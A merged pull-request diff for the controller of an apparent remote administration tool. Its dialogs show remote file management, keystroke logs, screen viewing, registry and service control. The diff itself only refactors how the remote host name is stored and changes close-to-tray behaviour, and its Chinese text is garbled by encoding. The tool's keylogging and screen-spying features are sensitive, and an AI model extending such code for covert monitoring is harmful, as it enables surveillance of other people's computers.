Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 2 additions & 3 deletions Client/FileManagerDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@
#include "Include\InputDlg.h"
#include <Shlwapi.h>
#pragma comment(lib,"shlwapi.lib")
extern CString strHost;

#ifdef _DEBUG
#define new DEBUG_NEW
Expand All @@ -32,6 +31,7 @@ static UINT indicators[] = {
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CFileManagerDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CFileManagerDlg)
//}}AFX_DATA_INIT
// ��ʼ��Ӧ�ô�������ݰ���СΪ0
Expand Down Expand Up @@ -239,8 +239,7 @@ BOOL CFileManagerDlg::OnInitDialog()

// ����
CString str;
str.Format(_T("[%s - %s] �����"), strHost,m_IPAddress);
// str.Format(_T("\\\\%s - �����"),m_IPAddress);
str.Format(_T("[%s - %s] �����"), m_strHost,m_IPAddress);
SetWindowText(str);
//����������
DWORD dwStyle = WS_CHILD | WS_VISIBLE | CBRS_TOOLTIPS | CBRS_TOOLTIPS | CBRS_FLYBY;
Expand Down
2 changes: 1 addition & 1 deletion Client/FileManagerDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -60,9 +60,9 @@ class CFileManagerDlg : public CDialog
CXTPToolBar m_wndToolBar_Remote;
CXTPToolBar m_wndToolBar_Search;

// void ShowMessage(char *lpFmt, ...);
CString m_Local_Path;
CString m_Remote_Path;
CString m_strHost;

BYTE m_bRemoteDriveList[1024]; // ����Զ���������б�
CString GetParentDirectory(CString strPath);
Expand Down
2 changes: 1 addition & 1 deletion Client/GroupDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -154,7 +154,6 @@ void CGroupDlg::OnWindowPosChanged(WINDOWPOS* lpwndpos)
}

// �Ҽ�����
CString strHost;
void CGroupDlg::OnNMRClickTreeGroup(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: �ڴ����ӿؼ�֪ͨ�����������
Expand All @@ -169,6 +168,7 @@ void CGroupDlg::OnNMRClickTreeGroup(NMHDR *pNMHDR, LRESULT *pResult)
HTREEITEM hItem = m_tree_group.HitTest(pt,&flag) ;
if(NULL != hItem) {
m_tree_group.Select(hItem,TVGN_CARET);//���õ���ڵ�Ϊ��ǰѡ�нڵ�
CString strHost;
strHost.Format(_T("%s"),m_tree_group.GetItemText(hItem));
if (!m_tree_group.ItemHasChildren(hItem)&&strHost.Find(_T("Ĭ�Ϸ���"))==-1) { // �����·���
CMenu m,*mn;
Expand Down
21 changes: 18 additions & 3 deletions Client/Include/IOCPServer.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
#include "../MainFrm.h"

#include "Public/zlib/zlib.h"
#include <WS2tcpip.h>


#ifdef _DEBUG
Expand Down Expand Up @@ -42,6 +43,23 @@ char* MyDecode(char *data,int len)
return data;
}

// ���� socket ��ȡ�ͻ���IP��ַ.
std::string GetRemoteIP(SOCKET sock) {
sockaddr_in addr;
int addrLen = sizeof(addr);

if (getpeername(sock, (sockaddr*)&addr, &addrLen) == 0) {
char ipStr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr.sin_addr, ipStr, sizeof(ipStr));
TRACE(">>> �Զ� IP ��ַ: %s\n", ipStr);
return ipStr;
}
TRACE(">>> ��ȡ�Զ� IP ʧ��, ������: %d\n", WSAGetLastError());
char buf[10];
sprintf_s(buf, "%d", sock);
return buf;
}

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
Expand Down Expand Up @@ -1057,8 +1075,6 @@ ClientContext* CIOCPServer::AllocateContext()

void CIOCPServer::ResetConnection(ClientContext* pContext)
{

CString strHost;
ClientContext* pCompContext = NULL;

CLock cs(CIOCPServer::m_cs, "ResetConnection");
Expand All @@ -1076,7 +1092,6 @@ void CIOCPServer::ResetConnection(ClientContext* pContext)
void CIOCPServer::DisconnectAll()
{
m_bDisconnectAll = true;
CString strHost;
ClientContext* pContext = NULL;

CLock cs(CIOCPServer::m_cs, "DisconnectAll");
Expand Down
3 changes: 2 additions & 1 deletion Client/Include/IOCPServer.h
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,9 @@
#include <process.h>

#include <afxtempl.h>
#include <string>


std::string GetRemoteIP(SOCKET sock);

////////////////////////////////////////////////////////////////////
#define NC_CLIENT_CONNECT 0x0001
Expand Down
10 changes: 3 additions & 7 deletions Client/KeyBoardDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
//

#include "stdafx.h"
#include "Client.h"
#include <WinUser.h>
#include "KeyBoardDlg.h"

#ifdef _DEBUG
Expand All @@ -15,14 +15,14 @@ static char THIS_FILE[] = __FILE__;
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012

extern CString strHost;
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog


CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CKeyBoardDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CKeyBoardDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
Expand All @@ -37,7 +37,6 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContex
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";

m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];

}


Expand Down Expand Up @@ -87,7 +86,6 @@ BOOL CKeyBoardDlg::OnInitDialog()
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}


UpdateTitle();

m_edit.SetLimitText(MAXDWORD); // ������󳤶�
Expand All @@ -104,8 +102,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
void CKeyBoardDlg::UpdateTitle()
{
CString str;
// str.Format("\\\\%s - ���̼�¼", m_IPAddress);
str.Format(_T("[%s - %s] ���̼�¼"), strHost,m_IPAddress);
str.Format(_T("[%s - %s] ���̼�¼"), m_strHost,m_IPAddress);
if (m_bIsOfflineRecord)
str += " (���߼�¼�ѿ���)";
else
Expand Down Expand Up @@ -198,7 +195,6 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
// TODO: Add your message handler code here
if (IsWindowVisible())
ResizeEdit();

}


Expand Down
6 changes: 4 additions & 2 deletions Client/KeyBoardDlg.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_

#include "Resource.h"
#include "Include\IOCPServer.h"

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
Expand All @@ -23,7 +26,6 @@ class CKeyBoardDlg : public CDialog
CEdit m_edit;
//}}AFX_DATA


// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
Expand All @@ -40,7 +42,7 @@ class CKeyBoardDlg : public CDialog
CIOCPServer* m_iocpServer;
HICON m_hIcon;
bool m_bIsOfflineRecord;

CString m_strHost;
CString m_IPAddress;
void AddKeyBoardData();
void UpdateTitle();
Expand Down
36 changes: 20 additions & 16 deletions Client/MainFrm.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -704,28 +704,19 @@ void CMainFrame::OnClose()
// ���湤�����Ͳ˵��ĵ�ǰ״̬
SaveCommandBars(_T("CommandBars"));

if (MessageBox(_T("ȷ���˳�?"), _T("��ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO)
return;


CMainFrame* pMainFrame = (CMainFrame*)AfxGetMainWnd();
pMainFrame->m_TrayIcon.RemoveIcon();

if (NULL!=m_iocpServer) {
m_iocpServer->Shutdown();
delete m_iocpServer;
}


CXTPFrameWnd::OnClose();
m_TrayIcon.MinimizeToTray(this);
}


void CMainFrame::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == SC_MINIMIZE) {
#if ENABLE_MINSIZE
m_TrayIcon.MinimizeToTray(this);
m_TrayIcon.ShowBalloonTip( _T("������������������..."), _T("LiteX"), NIIF_NONE, 10);
m_TrayIcon.ShowBalloonTip( _T("������С��������"), _T("��ʾ"), NIIF_NONE, 10);
#else
CXTPFrameWnd::OnSysCommand(nID, lParam);
#endif
} else {
CXTPFrameWnd::OnSysCommand(nID, lParam);
}
Expand All @@ -749,7 +740,20 @@ void CMainFrame::OnMenuitemHide()
void CMainFrame::OnAppExit()
{
// TODO: �ڴ�����������������
OnClose();
SaveCommandBars(_T("CommandBars"));

if (MessageBox(_T("ȷ���˳�?"), _T("��ʾ"), MB_YESNO | MB_ICONQUESTION) == IDNO)
return;

CMainFrame* pMainFrame = (CMainFrame*)AfxGetMainWnd();
pMainFrame->m_TrayIcon.RemoveIcon();

if (NULL!=m_iocpServer) {
m_iocpServer->Shutdown();
delete m_iocpServer;
}

CXTPFrameWnd::OnClose();
}


Expand Down
5 changes: 2 additions & 3 deletions Client/RegeditDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,6 @@
static char THIS_FILE[] = __FILE__;
#endif

extern CString strHost;
/////////////////////////////////////////////////////////////////////////////
// CRegeditDlg dialog
LPCTSTR CRegeditDlg::m_strComputer = TEXT("�ҵĵ���");
Expand All @@ -25,6 +24,7 @@ static UINT indicators[] = {
CRegeditDlg::CRegeditDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CRegeditDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CRegeditDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
Expand Down Expand Up @@ -132,8 +132,7 @@ BOOL CRegeditDlg::OnInitDialog()
// TODO: Add extra initialization here
// ����
CString str;
str.Format(_T("[%s - %s] ע�������"), strHost,m_IPAddress);
// str.Format("Զ��ע��� \\\\%s", m_IPAddress);
str.Format(_T("[%s - %s] ע�������"), m_strHost,m_IPAddress);
SetWindowText(str);

// ����״̬��
Expand Down
2 changes: 1 addition & 1 deletion Client/RegeditDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ class CRegeditDlg : public CDialog

CStatusBar m_wndStatusBar;
CXTHeaderCtrl m_heades;

CString m_strHost;

// Generated message map functions
//{{AFX_MSG(CRegeditDlg)
Expand Down
6 changes: 2 additions & 4 deletions Client/ScreenSpyDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,6 @@
#include "Client.h"
#include "ScreenSpyDlg.h"
#include "GroupDlg.h"
extern CString strHost;

#ifdef _DEBUG
#define new DEBUG_NEW
Expand Down Expand Up @@ -46,6 +45,7 @@ enum {
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CScreenSpyDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CScreenSpyDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
Expand Down Expand Up @@ -206,9 +206,7 @@ void CScreenSpyDlg::OnReceive()
return;

CString str;
// str.Format(_T("\\\\%s %d * %d ��%d֡ %d%%"), m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
// m_nCount, m_pContext->m_nTransferProgress);
str.Format(_T("[%s - %s] Զ��Э��"), strHost,m_IPAddress);
str.Format(_T("[%s - %s] Զ��Э��"), m_strHost,m_IPAddress);
SetWindowText(str);
}

Expand Down
1 change: 1 addition & 0 deletions Client/ScreenSpyDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,7 @@ class CScreenSpyDlg : public CDialog
HDC m_hDC, m_hMemDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
CString m_strHost;

CString m_aviFile; // ¼���ļ���������ļ�����Ϊ�վ�д��
CBmpToAvi m_aviStream;
Expand Down
7 changes: 3 additions & 4 deletions Client/ServiceDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@ static char THIS_FILE[] = __FILE__;

#define WM_SHOW_MSG (WM_USER+103)

extern CString strHost;
/////////////////////////////////////////////////////////////////////////////
// CServiceDlg dialog
static UINT indicators[] = {
Expand All @@ -30,6 +29,7 @@ static UINT indicators[] = {
CServiceDlg::CServiceDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CXTPDialog(CServiceDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CServiceDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
Expand Down Expand Up @@ -94,12 +94,11 @@ BOOL CServiceDlg::OnInitDialog()
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
// str.Format("������� \\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
str.Format(_T("[%s - %s] �������"), strHost,bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
str.Format(_T("[%s - %s] �������"), m_strHost,bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);

// ���
// ShowWindow( SW_SHOWMAXIMIZED );
// ShowWindow( SW_SHOWMAXIMIZED );

m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "��ʾ����", LVCFMT_LEFT, 150);
Expand Down
1 change: 1 addition & 0 deletions Client/ServiceDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ class CServiceDlg : public CXTPDialog
//}}AFX_VIRTUAL

CString strMsgShow;
CString m_strHost;
// Implementation
protected:
ClientContext* m_pContext;
Expand Down
5 changes: 2 additions & 3 deletions Client/SystemDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -12,12 +12,12 @@
static char THIS_FILE[] = __FILE__;
#endif

extern CString strHost;
/////////////////////////////////////////////////////////////////////////////
// CSystemDlg dialog
CSystemDlg::CSystemDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CSystemDlg::IDD, pParent)
{
m_strHost = GetRemoteIP(pContext->m_Socket).c_str();
//{{AFX_DATA_INIT(CSystemDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
Expand Down Expand Up @@ -156,8 +156,7 @@ BOOL CSystemDlg::OnInitDialog()
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
str.Format(_T("[%s - %s] ϵͳ����"), strHost,IPAddress);
// str.Format("\\\\%s - ϵͳ����", IPAddress);
str.Format(_T("[%s - %s] ϵͳ����"), m_strHost,IPAddress);
SetWindowText(str);

m_tab.InsertItem(0, "����");
Expand Down
1 change: 1 addition & 0 deletions Client/SystemDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,7 @@ class CSystemDlg : public CDialog
CIOCPServer* m_iocpServer;
CString IPAddress;
UINT nRemotePort;
CString m_strHost;

DWORD dwMem;
DWORD dwCpu;
Expand Down
Loading